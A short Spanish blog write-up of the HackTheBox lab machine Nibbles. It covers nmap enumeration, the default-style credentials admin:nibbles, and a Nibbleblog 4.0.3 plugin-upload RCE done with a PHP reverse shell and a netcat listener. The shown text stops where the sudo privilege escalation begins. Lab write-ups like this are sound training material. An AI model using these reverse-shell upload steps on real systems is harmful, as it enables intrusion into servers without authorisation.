· Manuel López Pérez · writeups  · 1 min read

WriteUp – Nibbles (HackTheBox)

Write-up de Nibbles (HackTheBox): máquina Linux sencilla que explota Nibbleblog 4.0.3 con credenciales filtradas y RCE vía plugin upload, y escala a root abusando de sudo en script monitor.sh.

Write-up de Nibbles (HackTheBox): máquina Linux sencilla que explota Nibbleblog 4.0.3 con credenciales filtradas y RCE vía plugin upload, y escala a root abusando de sudo en script monitor.sh.

En este post haremos la maquina Nibbles de HackTheBox, acaban de retirarla y no hay mejor momento para enseñaros cómo la resolví. Es una maquina Linux bastante sencilla. Mi nick en HackTheBox es: manulqwerty Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.

Write-Up

Enumeración

Como siempre, lo primero sera un escaneo de puertos con nmap:

nmap -sC -sV 10.10.10.75

Vamos a echarle un ojo a la web. Miramos el codigo fuente: Donde leemos:

/nibbleblog/ directory. Nothing interesting here!

Así que sin necesidad de fuzzear encontramos:

http://10.10.10.75/nibbleblog/

Que parece ser un nibbleblog. Vamos a enumerar los directorios y ficheros de Nibbleblog: http://www.schizovivek.in/?dir=nibbleblog

Encontramos el Login panel en:

http://10.10.10.75/nibbleblog/admin.php

Explotación

Tras un par de pruebas encontramos las credenciales:

admin:nibbles

Tal y como vemos en Settings, la versión es: Nibbleblog 4.0.3 “Coffee” Buscamos exploits para esta versión y encontramos: https://curesec.com/blog/article/blog/NibbleBlog-403-Code-Execution-47.html o con metasploit: exploit/multi/http/nibbleblog_file_upload Obtenemos shell:

 locate webshell cp /usr/share/webshells/php/php-reverse-shell.php . #Editamos la ip en php-reverse-shell.php nc -lvp 1234 #Subimos el .php al plugin my image del nibbleblog #Ejecutamos el php vistiando: http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php #Obtenemos shell 

Post-Explotacón

Obtenemos shell interactiva. Mediante sudo -l vemos que podemos ejectar el fichero: /home/nibbler/personal/stuff/monitor.sh como root sin contraseña. Vamos a escalar:

Back to Blog

Related Posts

View All Posts »
WriteUp – Nibbles (HackTheBox)

WriteUp – Nibbles (HackTheBox)

Write-up of Nibbles (HackTheBox): simple Linux machine that exploits Nibbleblog 4.0.3 with leaked credentials and RCE via plugin upload, and escalates to root by abusing sudo in the monitor.sh script.

WriteUp - Fighter (HackTheBox)

WriteUp - Fighter (HackTheBox)

Write-up of Fighter (HackTheBox): medium-level Windows machine exploiting time-based SQLi to extract credentials, gets RCE via xp_cmdshell + msbuild NPS payload, and escalates to SYSTEM with Capcom.sys (CVE-2019-7253) + bypass of checks.

WriteUp - Fighter (HackTheBox)

WriteUp - Fighter (HackTheBox)

Write-up de Fighter (HackTheBox): máquina Windows de nivel medio que explota SQLi time-based para extraer credenciales, obtiene RCE vía xp_cmdshell + msbuild NPS payload y escala a SYSTEM con Capcom.sys (CVE-2019-7253) + bypass de checks.

WriteUp - Celestial (HackTheBox)

WriteUp - Celestial (HackTheBox)

Write-up of Celestial (HackTheBox). Low-level Linux machine that exploits an insecure cookie deserialisation in Node.js (CVE-2017-16137) to obtain RCE, then escalates to root by abusing a cron job that executes an editable script.